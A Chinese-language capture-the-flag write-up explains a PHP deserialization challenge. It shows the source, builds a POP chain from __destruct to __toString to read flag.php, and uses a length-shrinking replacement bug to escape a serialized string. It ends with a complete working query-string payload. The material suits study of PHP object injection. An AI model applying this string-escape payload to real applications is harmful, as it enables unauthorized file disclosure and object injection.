打开题目即为源码:
<?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); } class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } } class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } } class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this->c); return 'nice'; } } $a = new A($_GET['a'],$_GET['b']); //省略了存储序列化数据的过程,下面是取出来并反序列化的操作 $b = unserialize(read(write(serialize($a))));
开头的write和read与以往看过的反序列化题目不同,既然不同,必有蹊跷,但我们先放在一边,先来考虑如何利用.
一共三个类,利用思路还是很清晰的.class C中的$c可控,且有一个_tostring方法可以获取$c的内容,而class B的_destruct方法中把$this->b进行了一个字符串操作,若使$b为一个class C,则可以触发_tostring方法,此时再令class C中的$c为”flag.php”的话,flag.php的内容就可以被我们获取.
$m = new B(); $m->b = new C(); $m->b->c = "flag.php"; echo serialize($m);
此时回头来看write和read.这里的话和Joolma 3.4.6 rce漏洞有关.源码中的write函数会将chr(0) . ‘*’ . chr(0)处理为\0\0\0,read函数则将其还原.但如果我们写入的时候是’\0\0\0′,长度为6,取出来的话,由于read函数的处理,会变为chr(0) .’*’. chr(0),(N*N,N表示NULL),长度为3.结合php序列化机制,即PHP在序列化数据的过程中,如果序列化的字段是一个字符串,那么将会保留该字符串的长度,然后将长度写入到序列化之后的数据,反序列化的时候按照长度进行读取(1),那么我们就会发现,该数据在反序列化的时候,如果按照原先的长度进行读取,就会导致溢出.
举个例子,假设我们的序列化后的对象为:O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:6:"123456";}
,经过read处理后的就是:O:1:"A":2:{s:8:"username";s:6:"N*N";s:8:"password";s:6:"123456";}
N*N长度3,而前面是s:6,所以";s
也会被当成是username的值来处理.相当于是被”吃掉”了.
回到题目,如果我们按照常规做法直接传入payload,即?a=123(任意值)&b=O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}},序列化结果为:O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
,可以看到我们的payload被处理为了字符串,反序列化时不会被当成对象来处理,无法让我们拿到flag.但是如果能够将payload前面的s:55给吃掉,我们的payload就可以成功执行,结合前面写到的read函数处理导致的溢出,我们就可以把s:55给吃掉,使payload顺利反序列化执行.
令?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(27个’\0′,长度为54,\0必须三个一组),这样经过read函数处理后,a就会变为N*NN*NN*NN*NN*NN*NN*NN*NN*N,长度为27,而后面的27个字符就会被吃掉,也就是说s:55会被吃掉,我们的payload在反序列化时不会被当成字符串,而是当成对象成功执行.但是由于吃掉的长度为27,不做任何处理的话我们的payload也会被吃掉一部分,且";s:8:"password";
也被吃掉的话无法顺利反序列化,所以我们还要在payload前面添加字符补齐27位并加上";s:8:"password";
.所以最终的payload为:?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=AAAA";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
.f12获得flag.
No responses yet